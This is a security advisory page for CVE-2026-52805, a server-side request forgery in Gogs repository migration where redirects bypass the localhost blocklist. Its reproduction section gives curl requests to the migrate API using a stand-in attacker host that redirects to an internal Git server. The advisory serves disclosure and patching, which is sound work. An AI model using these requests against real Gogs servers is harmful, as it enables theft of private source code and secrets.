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CVE-2026-52805

HIGH

Gogs has a Migration Redirect Bypass that Leads to Internal Repository Theft

Published June 23, 2026Updated July 21, 2026Source: osv

Summary

# Migration URL validation bypass via HTTP redirect to blocked internal endpoints ## Summary A Server-Side Request Forgery (SSRF) vulnerability exists in the repository migration functionality. The application validates only the initially submitted URL hostname, but `git clone --mirror` follows HTTP redirects. An authenticated user can submit a public URL that redirects to a blocked internal endpoint (e.g., `127.0.0.1`), importing the internal repository's contents into an attacker-controlled repository. ## Vulnerability Details The vulnerability is located in `internal/form/repo.go`. `ParseRemoteAddr()` validates the clone address hostname against a blocklist of local and private-network addresses. However, the actual migration is performed by `git clone --mirror` in `internal/database/repo.go`, which follows HTTP redirects without revalidation: 1. Attacker submits `http://attacker.example/redirect.git` — passes validation (public hostname). 2. Attacker's server responds with `302` redirect to `http://127.0.0.1:18081/victim/private.git`. 3. Git follows the redirect and clones the internal repository. 4. Gogs imports the cloned contents into the attacker's new repository. The root cause is that Gogs validates only the initial URL and does not revalidate the final redirect target. ## Impact This vulnerability bypasses the intended localhost/private-network migration restriction. Any authenticated user who can migrate repositories can import contents from internal Git endpoints reachable from the Gogs server. This allows attackers to: - Steal source code and secrets from internal repositories served over HTTP. - Scan internal network services via the migration endpoint. ## Reproduction Steps Prerequisites: a Gogs instance, an attacker account that can create repositories. 1. Start a local HTTP Git server with a test repository on `127.0.0.1:18081`. 2. Start a redirect server that responds to any request with a `302` redirect to `http://127.0.0.1:18081/victim/private.git`. 3. Verify the direct localhost URL is blocked: ```bash curl -sS -X POST -H "Authorization: token ${TOKEN}" \ -H "Content-Type: application/json" \ --data '{"clone_addr":"http://127.0.0.1:18081/victim/private.git","uid":2,"repo_name":"blocked"}' \ "${GOGS_URL}/api/v1/repos/migrate" ``` Result: rejected as blocked local address. 4. Submit a public-looking URL that redirects to the blocked endpoint: ```bash curl -sS -X POST -H "Authorization: token ${TOKEN}" \ -H "Content-Type: application/json" \ --data '{"clone_addr":"http://attacker.example/redirect.git","uid":2,"repo_name":"stolen","private":true}' \ "${GOGS_URL}/api/v1/repos/migrate" ``` Result: migration succeeds. The new repository contains the internal repository's contents.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update gogs.io/gogs to 0.14.3 or later
go get gogs.io/gogs@v0.14.3

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

PackageEcosystemAffectedFixed In
gogs.io/gogs
go
All versions0.14.3

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-918
    Server-Side Request Forgery (SSRF)MITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.7 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Frequently Asked Questions

What is CVE-2026-52805?
Gogs has a Migration Redirect Bypass that Leads to Internal Repository Theft This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.7/10).
How do I check if my project is affected by CVE-2026-52805?
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Severity & Exploitability

CVSS Score
8.7

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-g2f5-gjr4-qjvm
GO-2026-5387

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